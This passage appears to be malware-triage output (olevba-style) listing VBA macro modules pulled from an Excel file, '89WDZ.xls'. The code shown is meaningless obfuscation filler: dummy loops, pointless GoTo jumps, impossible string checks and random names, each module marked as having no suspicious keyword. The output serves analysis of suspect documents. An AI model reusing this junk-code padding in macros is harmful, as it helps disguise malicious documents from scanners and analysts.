  825. Dim JuSghYBkPj As Integer
  826. JuSghYBkPj = 8:
  827. Do While JuSghYBkPj < 6
  828.    DoEvents: JuSghYBkPj = JuSghYBkPj + 1
  829. Loop
  830.  
  831. If "wZrVygUtbw" = "YUgVKJAueA" Then End
  832.  
  833. GoTo ChZySsGKqe
  834. ChZySsGKqe:
  835.  
  836. Dim QZFZxuEcOf As Integer
  837. QZFZxuEcOf = 5:
  838. Do While QZFZxuEcOf < 9
  839.    DoEvents: QZFZxuEcOf = QZFZxuEcOf + 1
  840. Loop
  841.  
  842. If "aBlmRDtIQG" = "jTXrhFfeHL" Then End
  843.  
  844. Dim PcVDFgCoDs As Long
  845. PcVDFgCoDs = "8147":
  846.  
  847. Dim cNIdkpHHat As Long
  848. cNIdkpHHat = "3146":
  849.  
  850. End Sub
  851.  
  852. Private Function GMTKslnBuTQZxjUgjhnPWHImrPEluFolgWBBa()
  853.  
  854. GoTo IXdDlNokXe
  855. IXdDlNokXe:
  856.  
  857. GoTo TjLVjlsYiP
  858. TjLVjlsYiP:
  859.  
  860. GoTo CpaAOFngiv
  861. CpaAOFngiv:
  862.  
  863. GoTo OLuTEPbxvb
  864. OLuTEPbxvb:
  865.  
  866. If "rCWamKyzpA" = "cgbRvWVxJm" Then End
  867.  
  868. GoTo fMltvwsFmJ
  869. fMltvwsFmJ:
  870.  
  871. Dim TdrUBZqxKK As Long
  872. TdrUBZqxKK = "5153":
  873.  
  874. Dim IwGvhqdRwt As Integer
  875. IwGvhqdRwt = 1:
  876. Do While IwGvhqdRwt < 26
  877.    DoEvents: IwGvhqdRwt = IwGvhqdRwt + 1
  878. Loop
  879.  
  880. End Function
  881.  
  882. Private Sub TLQTRXfNqrWIfUVloYcwmkkKMFIMUhHPKlhti()
  883.  
  884. GoTo eAvChZySsG
  885. eAvChZySsG:
  886.  
  887. Dim qeoEQZFZxu As Long
  888. qeoEQZFZxu = "8022":
  889.  
  890. GoTo OfLOMSaBlm
  891. OfLOMSaBlm:
  892.  
  893. Dim DtIQGjTXrh As Long
  894. DtIQGjTXrh = "6529":
  895.  
  896. GoTo eHLncVDFgC
  897. eHLncVDFgC:
  898.  
  899. GoTo DskicNIdkp
  900. DskicNIdkp:
  901.  
  902. Dim HatHsyGwFY As Integer
  903. HatHsyGwFY = 1:
  904. Do While HatHsyGwFY < 9
  905.    DoEvents: HatHsyGwFY = HatHsyGwFY + 1
  906. Loop
  907.  
  908. If "GDMkWHTWUA" = "bJUuZEbqYh" Then End
  909.  
  910. End Sub
  911.  
  912. Private Function FolgWBBaDVrVkRqyaCxKrOGXYiwZGLvcWPDOn()
  913.  
  914. Dim giviOLuTEP As Integer
  915. giviOLuTEP = 3:
  916. Do While giviOLuTEP < 6
  917.    DoEvents: giviOLuTEP = giviOLuTEP + 1
  918. Loop
  919.  
  920. Dim bKrCWamKyz As Long
  921. bKrCWamKyz = "6521":
  922.  
  923. If "cgbRvWVxJm" = "QfMltvwsFm" Then End
  924.  
  925. Dim BSTdrUBZqx As Long
  926. BSTdrUBZqx = "3405":
  927.  
  928. If "xCIwGvhqdR" = "wtcUfxcfEj" Then End
  929.  
  930. Dim zdEJuSghYB As Integer
  931. zdEJuSghYB = 9:
  932. Do While zdEJuSghYB < 24
  933.    DoEvents: zdEJuSghYB = zdEJuSghYB + 1
  934. Loop
  935.  
  936. If "zXXwZrVygU" = "tbwYUgVKJA" Then End
  937.  
  938. GoTo AvChZySsGK
  939. AvChZySsGK:
  940.  
  941. End Function
  942.  
  943. Public Function ESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFVssSu()
  944.  
  945. If "PcVDFgCoDs" = "kicNIdkpHH" Then End
  946.  
  947. If "HsyGwFYANh" = "GDMkWHTWUA" Then End
  948.  
  949. GoTo yTJnnNpIeI
  950. yTJnnNpIeI:
  951.  
  952. If "dDlNokXeaT" = "jLVjlsYiPi" Then End
  953.  
  954. If "aAOFngiviO" = "LuTEPbxvbK" Then End
  955.  
  956. If "CWamKyzpAc" = "gbRvWVxJmQ" Then End
  957.  
  958. If "MltvwsFmJB" = "STdrUBZqxK" Then End
  959.  
  960. Dim SzdEJuSghY As Integer
  961. SzdEJuSghY = 2:
  962. Do While SzdEJuSghY < 14
  963.    DoEvents: SzdEJuSghY = SzdEJuSghY + 1
  964. Loop
  965.  
  966. End Function
  967.  
  968. Private Sub cwmkkKMFIMUhHPKlhtixwnISNipuMMfGTxESC()
  969.  
  970. GoTo ZxuEcOfLOM
  971. ZxuEcOfLOM:
  972.  
  973. If "aBlmRDtIQG" = "jTXrhFfeHL" Then End
  974.  
  975. Dim atHsyGwFYA As Long
  976. atHsyGwFYA = "2770":
  977.  
  978. GoTo rByTJnnNpI
  979. rByTJnnNpI:
  980.  
  981. Dim aTjLVjlsYi As Long
  982. aTjLVjlsYi = "6019":
  983.  
  984. Dim iOLuTEPbxv As Integer
  985. iOLuTEPbxv = 4:
  986. Do While iOLuTEPbxv < 24
  987.    DoEvents: iOLuTEPbxv = iOLuTEPbxv + 1
  988. Loop
  989.  
  990. GoTo KKxCIwGvhq
  991. KKxCIwGvhq:
  992.  
  993. Dim RwtcUfxcfE As Long
  994. RwtcUfxcfE = "5274":
  995.  
  996. End Sub
  997.  
  998. Private Function fNqrWIfUVloYcwmkkKMFIMUhHPKlhtixwnISN()
  999.  
  1000. Dim ZySsGKqeoE As Long
  1001. ZySsGKqeoE = "3029":
  1002.  
  1003. GoTo SaBlmRDtIQ
  1004. SaBlmRDtIQ:
  1005.  
  1006. Dim ncVDFgCoDs As Integer
  1007. ncVDFgCoDs = 8:
  1008. Do While ncVDFgCoDs < 13
  1009.    DoEvents: ncVDFgCoDs = ncVDFgCoDs + 1
  1010. Loop
  1011.  
  1012. Dim IdkpHHatHs As Integer
  1013. IdkpHHatHs = 7:
  1014. Do While IdkpHHatHs < 13
  1015.    DoEvents: IdkpHHatHs = IdkpHHatHs + 1
  1016. Loop
  1017.  
  1018. Dim FYANhGDMkW As Integer
  1019. FYANhGDMkW = 1:
  1020. Do While FYANhGDMkW < 15
  1021.    DoEvents: FYANhGDMkW = FYANhGDMkW + 1
  1022. Loop
  1023.  
  1024. Dim UAbJUuZEbq As Integer
  1025. UAbJUuZEbq = 8:
  1026. Do While UAbJUuZEbq < 19
  1027.    DoEvents: UAbJUuZEbq = UAbJUuZEbq + 1
  1028. Loop
  1029.  
  1030. GoTo ByTJnnNpIe
  1031. ByTJnnNpIe:
  1032.  
  1033. GoTo XdDlNokXea
  1034. XdDlNokXea:
  1035.  
  1036. End Function
  1037.  
  1038. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1039. ANALYSIS:
  1040. No suspicious keyword or IOC found.
  1041. -------------------------------------------------------------------------------
  1042. VBA MACRO Module3.bas
  1043. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  1044. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1045. Private Function oDfMRCicVJUthYHACPChenmxiuRPudkVPUGdS()
  1046.  
  1047. Dim ZDxnSsrUfJ As Integer
  1048. ZDxnSsrUfJ = 2:
  1049. Do While ZDxnSsrUfJ < 3
  1050.    DoEvents: ZDxnSsrUfJ = ZDxnSsrUfJ + 1
  1051. Loop
  1052.  
  1053. If "IQSTPbJfxo" = "pAOqxvNtgg" Then End
  1054.  
  1055. GoTo yescSENAnT
  1056. yescSENAnT:
  1057.  
  1058. Dim ZqCUZCAGoW As Long
  1059. ZqCUZCAGoW = "1147":
  1060.  
  1061. End Function
  1062.  
  1063. Private Sub xcOlabrueiDsqqpSLOranNVQrnAoEDtOYTovB()
  1064.  
  1065. Dim ocgNBLamvb As Integer
  1066. ocgNBLamvb = 9:
  1067. Do While ocgNBLamvb < 7
  1068.    DoEvents: ocgNBLamvb = ocgNBLamvb + 1
  1069. Loop
  1070.  
  1071. GoTo ZKChkioXxI
  1072. ZKChkioXxI:
  1073.  
  1074. If "nzQemcGptO" = "EbCBdWsWly" Then End
  1075.  
  1076. Dim zbcyLlHFZj As Integer
  1077. zbcyLlHFZj = 1:
  1078. Do While zbcyLlHFZj < 28
  1079.    DoEvents: zbcyLlHFZj = zbcyLlHFZj + 1
  1080. Loop
  1081.  
  1082. End Sub
  1083.  
  1084. Private Function EJaatNBMSZQyrtgBZWfEpampntVcNOsxVjrBL()
  1085.  
  1086. If "KKjMeBetAo" = "jLHtBXPGhr" Then End
  1087.  
  1088. GoTo IPuFlFyMXw
  1089. IPuFlFyMXw:
  1090.  
  1091. Dim KDFSFkhRpa As Integer
  1092. KDFSFkhRpa = 10:
  1093. Do While KDFSFkhRpa < 17
  1094.    DoEvents: KDFSFkhRpa = KDFSFkhRpa + 1
  1095. Loop
  1096.  
  1097. If "SYgnysXJGV" = "WMWZDxnSsr" Then End
  1098.  
  1099. End Function
  1100.  
  1101. Private Function RDGjyfFNoQMYGculmwLnUsKqddRVCpzPbKXkQ()
  1102.  
  1103. GoTo CUZCAGoWAa
  1104. CUZCAGoWAa:
  1105.  
  1106. If "oDEuxHLGWt" = "tTvORVDqQY" Then End
  1107.  
  1108. Dim qDrgfwRBwr As Integer
  1109. qDrgfwRBwr = 3:
  1110. Do While qDrgfwRBwr < 14
  1111.    DoEvents: qDrgfwRBwr = qDrgfwRBwr + 1
  1112. Loop
  1113.  
  1114. If "VoocgNBLam" = "vbvURaZKCh" Then End
  1115.  
  1116. End Function
  1117.  
  1118. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1119. ANALYSIS:
  1120. No suspicious keyword or IOC found.
  1121. -------------------------------------------------------------------------------
  1122. VBA MACRO Module4.bas
  1123. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module4'
  1124. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1125. Private Function kuCVoCNmBRATVIVBxHfqCOKIOWEoiNyWLMcmP()
  1126.  
  1127. Dim NnmPaEhXdD As Long
  1128. NnmPaEhXdD = "7864":
  1129.  
  1130. End Function
  1131.  
  1132. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1133. ANALYSIS:
  1134. No suspicious keyword or IOC found.
  1135. -------------------------------------------------------------------------------
  1136. VBA MACRO Module5.bas
  1137. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module5'
  1138. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1139. Private Sub zDmqLByyYBTpTivowYzvIwMECWgbwEJaatNBM()
  1140.  
  1141. Dim buwjdcziHs As Long
  1142. buwjdcziHs = "8519":
  1143.  
  1144. End Sub
  1145.  
  1146. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1147. ANALYSIS:
  1148. No suspicious keyword or IOC found.
  1149. -------------------------------------------------------------------------------
  1150. VBA MACRO Module6.bas
  1151. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module6'
  1152. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1153. Private Function SZQyrtgBZWfEpampntVcNOsxVjrBLurmcHHgJ()
  1154.  
  1155. GoTo SyYGIjFrZv
  1156. SyYGIjFrZv:
  1157.  
  1158. Dim fQEgnsDKdw As Integer
  1159. fQEgnsDKdw = 6:
  1160. Do While fQEgnsDKdw < 6
  1161.    DoEvents: fQEgnsDKdw = fQEgnsDKdw + 1
  1162. Loop
  1163.  
  1164. Dim JbbdqdJGPn As Long
  1165. JbbdqdJGPn = "5222":
  1166.  
  1167. Dim wsqWeMXqvH As Integer
  1168. wsqWeMXqvH = 8:
  1169. Do While wsqWeMXqvH < 16
  1170.    DoEvents: wsqWeMXqvH = wsqWeMXqvH + 1
  1171. Loop
  1172.  
  1173. GoTo kuxbWMqqQs
  1174. kuxbWMqqQs:
  1175.  
  1176. GoTo hLAggoQrnA
  1177. hLAggoQrnA:
  1178.  
  1179. End Function
  1180.  
  1181. Private Sub GculmwLnUsKqddRVCpzPbKXkQNWnyqWZXDlTw()
  1182.  
  1183. GoTo NbcTWfjeUS
  1184. NbcTWfjeUS:
  1185.  
  1186. Dim RtMpTbPowr As Integer
  1187. RtMpTbPowr = 1:
  1188. Do While RtMpTbPowr < 1
  1189.    DoEvents: RtMpTbPowr = RtMpTbPowr + 1
  1190. Loop
  1191.  
  1192. If "pFEVpkQXCt" = "tNNaFlzJZL" Then End
  1193.  
  1194. If "UspyXiaGJH" = "mVvgHMxODk" Then End
  1195.  
  1196. If "OSmcAazCuR" = "ujXQYeXjYn" Then End
  1197.  
  1198. Dim DxIDyfkCbv As Integer
  1199. DxIDyfkCbv = 2:
  1200. Do While DxIDyfkCbv < 29
  1201.    DoEvents: DxIDyfkCbv = DxIDyfkCbv + 1
  1202. Loop
  1203.  
  1204. End Sub
  1205.  
  1206. Public Sub MSZQyrtgBZWfEpampntVcNOsxVjrBLurmcHHg()
  1207.  
  1208. GoTo nefQEgnsDK
  1209. nefQEgnsDK:
  1210.  
  1211. Dim wkvVJbbdqd As Long
  1212. wkvVJbbdqd = "6334":
  1213.  
  1214. If "PnZKwsqWeM" = "XqvHetukux" Then End
  1215.  
  1216. Dim WMqqQsEhLA As Long
  1217. WMqqQsEhLA = "8220":
  1218.  
  1219. GoTo oQrnAhEWNO
  1220. oQrnAhEWNO:
  1221.  
  1222. Dim mPvUlSFFsX As Long
  1223. mPvUlSFFsX = "6710":
  1224.  
  1225. End Sub
  1226.  
  1227. Public Function pzPbKXkQNWnyqWZXDlTwxcOlabrueiDsqqpSL()
  1228.  
  1229. Dim PowrToBpFE As Integer
  1230. PowrToBpFE = 1:
  1231. Do While PowrToBpFE < 6
  1232.    DoEvents: PowrToBpFE = PowrToBpFE + 1
  1233. Loop
  1234.  
  1235. Dim uQXCttNNaF As Integer
  1236. uQXCttNNaF = 8:
  1237. Do While uQXCttNNaF < 22
  1238.    DoEvents: uQXCttNNaF = uQXCttNNaF + 1
  1239. Loop
  1240.  
  1241. Dim ZLUAUspyXi As Long
  1242. ZLUAUspyXi = "1337":
  1243.  
  1244. If "JHmVvgHMxO" = "DkBEOSmcAa" Then End
  1245.  
  1246. Dim CuRujXQYeX As Integer
  1247. CuRujXQYeX = 5:
  1248. Do While CuRujXQYeX < 2
  1249.    DoEvents: CuRujXQYeX = CuRujXQYeX + 1
  1250. Loop
  1251.  
  1252. Dim fDxIDyfkCb As Integer
  1253. fDxIDyfkCb = 3:
  1254. Do While fDxIDyfkCb < 16
  1255.    DoEvents: fDxIDyfkCb = fDxIDyfkCb + 1
  1256. Loop
  1257.  
  1258. End Function
  1259.  
  1260. Private Function BMSZQyrtgBZWfEpampntVcNOsxVjrBLurmcHH()
  1261.  
  1262. Dim ZDSyYGIjFr As Long
  1263. ZDSyYGIjFr = "8466":
  1264.  
  1265. Dim dwkvVJbbdq As Integer
  1266. dwkvVJbbdq = 5:
  1267. Do While dwkvVJbbdq < 19
  1268.    DoEvents: dwkvVJbbdq = dwkvVJbbdq + 1
  1269. Loop
  1270.  
  1271. Dim bWMqqQsEhL As Long
  1272. bWMqqQsEhL = "8843":
  1273.  
  1274. Dim goQrnAhEWN As Long
  1275. goQrnAhEWN = "2337":
  1276.  
  1277. Dim DRBqclylrO As Long
  1278. DRBqclylrO = "2721":
  1279.  
  1280. If "aSxayeNuYZ" = "dpNbcTWfje" Then End
  1281.  
  1282. End Function
  1283.  
  1284. Private Sub sqqpSLOranNVQrnAoEDtOYTovBSSllZdKxIXj()
  1285.  
  1286. If "spyXiaGJHm" = "VvgHMxODkB" Then End
  1287.  
  1288. Dim voCNtarATV As Long
  1289. voCNtarATV = "4335":
  1290.  
  1291. Dim YHfRbORPVw As Integer
  1292. YHfRbORPVw = 8:
  1293. Do While YHfRbORPVw < 10
  1294.    DoEvents: YHfRbORPVw = YHfRbORPVw + 1
  1295. Loop
  1296.  
  1297. GoTo UZwLTcmWTO
  1298. UZwLTcmWTO:
  1299.  
  1300. If "IihKcZDSyY" = "GIjFrZvnef" Then End
  1301.  
  1302. GoTo EgnsDKdwkv
  1303. EgnsDKdwkv:
  1304.  
  1305. End Sub
  1306.  
  1307. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1308. ANALYSIS:
  1309. No suspicious keyword or IOC found.
  1310. -------------------------------------------------------------------------------
  1311. VBA MACRO Module8.bas
  1312. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module8'
  1313. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1314. Public Sub XMNdNQUoeJjiLwAdsZyHJKGsaWofgqFhOmEkX()
  1315.  
  1316. Dim IwGvhqdRwt As Integer
  1317. IwGvhqdRwt = 1:
  1318. Do While IwGvhqdRwt < 26
  1319.    DoEvents: IwGvhqdRwt = IwGvhqdRwt + 1
  1320. Loop
  1321.  
  1322. Dim xcfEjSzdEJ As Long
  1323. xcfEjSzdEJ = "2523":
  1324.  
  1325. If "ghYBkPjzXX" = "wZrVygUtbw" Then End
  1326.  
  1327. Dim UgVKJAueAv As Integer
  1328. UgVKJAueAv = 6:
  1329. Do While UgVKJAueAv < 28
  1330.    DoEvents: UgVKJAueAv = UgVKJAueAv + 1
  1331. Loop
  1332.  
  1333. Dim ySsGKqeoEQ As Integer
  1334. ySsGKqeoEQ = 10:
  1335. Do While ySsGKqeoEQ < 23
  1336.    DoEvents: ySsGKqeoEQ = ySsGKqeoEQ + 1
  1337. Loop
  1338.  
  1339. Dim xuEcOfLOMS As Integer
  1340. xuEcOfLOMS = 10:
  1341. Do While xuEcOfLOMS < 22
  1342.    DoEvents: xuEcOfLOMS = xuEcOfLOMS + 1
  1343. Loop
  1344.  
  1345. Dim mRDtIQGjTX As Integer
  1346. mRDtIQGjTX = 5:
  1347. Do While mRDtIQGjTX < 28
  1348.    DoEvents: mRDtIQGjTX = mRDtIQGjTX + 1
  1349. Loop
  1350.  
  1351. Dim feHLncVDFg As Long
  1352. feHLncVDFg = "3899":
  1353.  
  1354. Dim DskicNIdkp As Integer
  1355. DskicNIdkp = 10:
  1356. Do While DskicNIdkp < 28
  1357.    DoEvents: DskicNIdkp = DskicNIdkp + 1
  1358. Loop
  1359.  
  1360. End Sub
  1361.  
  1362. Private Function OHuGMTKslnBuTQZxjUgjhnPWHImrPEluFolgW()
  1363.  
  1364. Dim pIeIXdDlNo As Integer
  1365. pIeIXdDlNo = 5:
  1366. Do While pIeIXdDlNo < 16
  1367.    DoEvents: pIeIXdDlNo = pIeIXdDlNo + 1
  1368. Loop
  1369.  
  1370. GoTo aTjLVjlsYi
  1371. aTjLVjlsYi:
  1372.  
  1373. If "iCpaAOFngi" = "viOLuTEPbx" Then End
  1374.  
  1375. Dim bKrCWamKyz As Long
  1376. bKrCWamKyz = "6521":
  1377.  
  1378. If "cgbRvWVxJm" = "QfMltvwsFm" Then End
  1379.  
  1380. Dim BSTdrUBZqx As Long
  1381. BSTdrUBZqx = "3405":
  1382.  
  1383. If "xCIwGvhqdR" = "wtcUfxcfEj" Then End
  1384.  
  1385. Dim zdEJuSghYB As Integer
  1386. zdEJuSghYB = 9:
  1387. Do While zdEJuSghYB < 24
  1388.    DoEvents: zdEJuSghYB = zdEJuSghYB + 1
  1389. Loop
  1390.  
  1391. If "zXXwZrVygU" = "tbwYUgVKJA" Then End
  1392.  
  1393. End Function
  1394.  
  1395. Private Sub ISNipuMMfGTxESCRdmSmLIRpbTYbZfnOyzeQH()
  1396.  
  1397. Dim jTXrhFfeHL As Long
  1398. jTXrhFfeHL = "5576":
  1399.  
  1400. If "DFgCoDskic" = "NIdkpHHatH" Then End
  1401.  
  1402. Dim GwFYANhGDM As Long
  1403. GwFYANhGDM = "7273":
  1404.  
  1405. Dim HTWUAbJUuZ As Integer
  1406. HTWUAbJUuZ = 5:
  1407. Do While HTWUAbJUuZ < 22
  1408.    DoEvents: HTWUAbJUuZ = HTWUAbJUuZ + 1
  1409. Loop
  1410.  
  1411. GoTo YhrByTJnnN
  1412. YhrByTJnnN:
  1413.  
  1414. GoTo IeIXdDlNok
  1415. IeIXdDlNok:
  1416.  
  1417. GoTo eaTjLVjlsY
  1418. eaTjLVjlsY:
  1419.  
  1420. Dim vbKrCWamKy As Long
  1421. vbKrCWamKy = "9276":
  1422.  
  1423. GoTo JBSTdrUBZq
  1424. JBSTdrUBZq:
  1425.  
  1426. End Sub
  1427.  
  1428. Public Function kXXLPvjtJVEReKHQhTLQTRXfNqrWIfUVloYcw()
  1429.  
  1430. If "wZrVygUtbw" = "YUgVKJAueA" Then End
  1431.  
  1432. GoTo ChZySsGKqe
  1433. ChZySsGKqe:
  1434.  
  1435. Dim QZFZxuEcOf As Integer
  1436. QZFZxuEcOf = 5:
  1437. Do While QZFZxuEcOf < 9
  1438.    DoEvents: QZFZxuEcOf = QZFZxuEcOf + 1
  1439. Loop
  1440.  
  1441. If "aBlmRDtIQG" = "jTXrhFfeHL" Then End
  1442.  
  1443. Dim PcVDFgCoDs As Long
  1444. PcVDFgCoDs = "8147":
  1445.  
  1446. Dim cNIdkpHHat As Long
  1447. cNIdkpHHat = "3146":
  1448.  
  1449. Dim yGwFYANhGD As Integer
  1450. yGwFYANhGD = 9:
  1451. Do While yGwFYANhGD < 23
  1452.    DoEvents: yGwFYANhGD = yGwFYANhGD + 1
  1453. Loop
  1454.  
  1455. If "HTWUAbJUuZ" = "EbqYhrByTJ" Then End
  1456.  
  1457. GoTo nNpIeIXdDl
  1458. nNpIeIXdDl:
  1459.  
  1460. End Function
  1461.  
  1462. Private Sub aCxKrOGXYiwZGLvcWPDOnbSBtvJWCyIgrcPLJ()
  1463.  
  1464. GoTo CWamKyzpAc
  1465. CWamKyzpAc:
  1466.  
  1467. GoTo bRvWVxJmQf
  1468. bRvWVxJmQf:
  1469.  
  1470. If "ltvwsFmJBS" = "TdrUBZqxKK" Then End
  1471.  
  1472. Dim CIwGvhqdRw As Long
  1473. CIwGvhqdRw = "7156":
  1474.  
  1475. GoTo UfxcfEjSzd
  1476. UfxcfEjSzd:
  1477.  
  1478. Dim JuSghYBkPj As Integer
  1479. JuSghYBkPj = 8:
  1480. Do While JuSghYBkPj < 6
  1481.    DoEvents: JuSghYBkPj = JuSghYBkPj + 1
  1482. Loop
  1483.  
  1484. If "wZrVygUtbw" = "YUgVKJAueA" Then End
  1485.  
  1486. GoTo oEQZFZxuEc
  1487. oEQZFZxuEc:
  1488.  
  1489. Dim OMSaBlmRDt As Integer
  1490. OMSaBlmRDt = 4:
  1491. Do While OMSaBlmRDt < 29
  1492.    DoEvents: OMSaBlmRDt = OMSaBlmRDt + 1
  1493. Loop
  1494.  
  1495. End Sub
  1496.  
  1497. Private Function twgkFVssSuNjNcpiqStpCqGxvQavRxDUUOHuG()
  1498.  
  1499. Dim FYANhGDMkW As Integer
  1500. FYANhGDMkW = 1:
  1501. Do While FYANhGDMkW < 15
  1502.    DoEvents: FYANhGDMkW = FYANhGDMkW + 1
  1503. Loop
  1504.  
  1505. Dim UAbJUuZEbq As Integer
  1506. UAbJUuZEbq = 8:
  1507. Do While UAbJUuZEbq < 19
  1508.    DoEvents: UAbJUuZEbq = UAbJUuZEbq + 1
  1509. Loop
  1510.  
  1511. GoTo ByTJnnNpIe
  1512. ByTJnnNpIe:
  1513.  
  1514. GoTo XdDlNokXea
  1515. XdDlNokXea:
  1516.  
  1517. Dim jLVjlsYiPi As Integer
  1518. jLVjlsYiPi = 2:
  1519. Do While jLVjlsYiPi < 20
  1520.    DoEvents: jLVjlsYiPi = jLVjlsYiPi + 1
  1521. Loop
  1522.  
  1523. GoTo AOFngiviOL
  1524. AOFngiviOL:
  1525.  
  1526. GoTo EPbxvbKrCW
  1527. EPbxvbKrCW:
  1528.  
  1529. GoTo mKyzpAcgbR
  1530. mKyzpAcgbR:
  1531.  
  1532. Dim WVxJmQfMlt As Long
  1533. WVxJmQfMlt = "2151":
  1534.  
  1535. End Function
  1536.  
  1537. Public Function KGsaWofgqFhOmEkXXLPvjtJVEReKHQhTLQTRX()
  1538.  
  1539. Dim ueAvChZySs As Integer
  1540. ueAvChZySs = 6:
  1541. Do While ueAvChZySs < 14
  1542.    DoEvents: ueAvChZySs = ueAvChZySs + 1
  1543. Loop
  1544.  
  1545. Dim eoEQZFZxuE As Long
  1546. eoEQZFZxuE = "6270":
  1547.  
  1548. GoTo fLOMSaBlmR
  1549. fLOMSaBlmR:
  1550.  
  1551. GoTo tIQGjTXrhF
  1552. tIQGjTXrhF:
  1553.  
  1554. Dim eHLncVDFgC As Integer
  1555. eHLncVDFgC = 3:
  1556. Do While eHLncVDFgC < 7
  1557.    DoEvents: eHLncVDFgC = eHLncVDFgC + 1
  1558. Loop
  1559.  
  1560. GoTo kicNIdkpHH
  1561. kicNIdkpHH:
  1562.  
  1563. If "HsyGwFYANh" = "GDMkWHTWUA" Then End
  1564.  
  1565. GoTo UuZEbqYhrB
  1566. UuZEbqYhrB:
  1567.  
  1568. Dim TJnnNpIeIX As Long
  1569. TJnnNpIeIX = "5651":
  1570.  
  1571. End Function
  1572.  
  1573. Private Function qyaCxKrOGXYiwZGLvcWPDOnbSBtvJWCyIgrcP()
  1574.  
  1575. GoTo gbRvWVxJmQ
  1576. gbRvWVxJmQ:
  1577.  
  1578. If "MltvwsFmJB" = "STdrUBZqxK" Then End
  1579.  
  1580. Dim SzdEJuSghY As Integer
  1581. SzdEJuSghY = 2:
  1582. Do While SzdEJuSghY < 14
  1583.    DoEvents: SzdEJuSghY = SzdEJuSghY + 1
  1584. Loop
  1585.  
  1586. GoTo jzXXwZrVyg
  1587. jzXXwZrVyg:
  1588.  
  1589. GoTo GKqeoEQZFZ
  1590. GKqeoEQZFZ:
  1591.  
  1592. If "uEcOfLOMSa" = "BlmRDtIQGj" Then End
  1593.  
  1594. GoTo rhFfeHLncV
  1595. rhFfeHLncV:
  1596.  
  1597. If "FgCoDskicN" = "IdkpHHatHs" Then End
  1598.  
  1599. If "GwFYANhGDM" = "kWHTWUAbJU" Then End
  1600.  
  1601. End Function
  1602.  
  1603. Public Function ImrPEluFolgWBBaDVrVkRqyaCxKrOGXYiwZGL()
  1604.  
  1605. Dim CpaAOFngiv As Integer
  1606. CpaAOFngiv = 3:
  1607. Do While CpaAOFngiv < 24
  1608.    DoEvents: CpaAOFngiv = CpaAOFngiv + 1
  1609. Loop
  1610.  
  1611. GoTo amKyzpAcgb
  1612. amKyzpAcgb:
  1613.  
  1614. If "vWVxJmQfMl" = "tvwsFmJBST" Then End
  1615.  
  1616. GoTo rUBZqxKKxC
  1617. rUBZqxKKxC:
  1618.  
  1619. Dim wGvhqdRwtc As Long
  1620. wGvhqdRwtc = "9280":
  1621.  
  1622. Dim uSghYBkPjz As Integer
  1623. uSghYBkPjz = 6:
  1624. Do While uSghYBkPjz < 21
  1625.    DoEvents: uSghYBkPjz = uSghYBkPjz + 1
  1626. Loop
  1627.  
  1628. If "ZrVygUtbwY" = "UgVKJAueAv" Then End
  1629.  
  1630. Dim hZySsGKqeo As Long
  1631. hZySsGKqeo = "7148":
  1632.  
  1633. If "ZFZxuEcOfL" = "OMSaBlmRDt" Then End
  1634.  
  1635. End Function
  1636.  
  1637. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1638. ANALYSIS:
  1639. No suspicious keyword or IOC found.
  1640. -------------------------------------------------------------------------------
  1641. VBA MACRO Module9.bas
  1642. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module9'
  1643. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1644. Private Function GjyfFNoQMYGculmwLnUsKqddRVCpzPbKXkQNW()
  1645.  
  1646. If "xayeNuYZdp" = "NbcTWfjeUS" Then End
  1647.  
  1648. Dim RtMpTbPowr As Integer
  1649. RtMpTbPowr = 1:
  1650. Do While RtMpTbPowr < 1
  1651.    DoEvents: RtMpTbPowr = RtMpTbPowr + 1
  1652. Loop
  1653.  
  1654. If "pFEVpkQXCt" = "tNNaFlzJZL" Then End
  1655.  
  1656. If "UspyXiaGJH" = "mVvgHMxODk" Then End
  1657.  
  1658. If "OSmcAazCuR" = "ujXQYeXjYn" Then End
  1659.  
  1660. End Function
  1661.  
  1662. Public Sub ECWgbwEJaatNBMSZQyrtgBZWfEpampntVcNOs()
  1663.  
  1664. GoTo cmWTOdIihK
  1665. cmWTOdIihK:
  1666.  
  1667. GoTo ZDSyYGIjFr
  1668. ZDSyYGIjFr:
  1669.  
  1670. Dim vnefQEgnsD As Integer
  1671. vnefQEgnsD = 8:
  1672. Do While vnefQEgnsD < 23
  1673.    DoEvents: vnefQEgnsD = vnefQEgnsD + 1
  1674. Loop
  1675.  
  1676. Dim kvVJbbdqdJ As Long
  1677. kvVJbbdqdJ = "7718":
  1678.  
  1679. Dim nZKwsqWeMX As Long
  1680. nZKwsqWeMX = "3470":
  1681.  
  1682. End Sub
  1683.  
  1684. Private Sub UGdSsJTvAukPpoRDGjyfFNoQMYGculmwLnUsK()
  1685.  
  1686. Dim sXDRBqclyl As Long
  1687. sXDRBqclyl = "7338":
  1688.  
  1689. Dim PaSxayeNuY As Integer
  1690. PaSxayeNuY = 0:
  1691. Do While PaSxayeNuY < 13
  1692.    DoEvents: PaSxayeNuY = PaSxayeNuY + 1
  1693. Loop
  1694.  
  1695. Dim bcTWfjeUSS As Integer
  1696. bcTWfjeUSS = 8:
  1697. Do While bcTWfjeUSS < 22
  1698.    DoEvents: bcTWfjeUSS = bcTWfjeUSS + 1
  1699. Loop
  1700.  
  1701. If "pTbPowrToB" = "pFEVpkQXCt" Then End
  1702.  
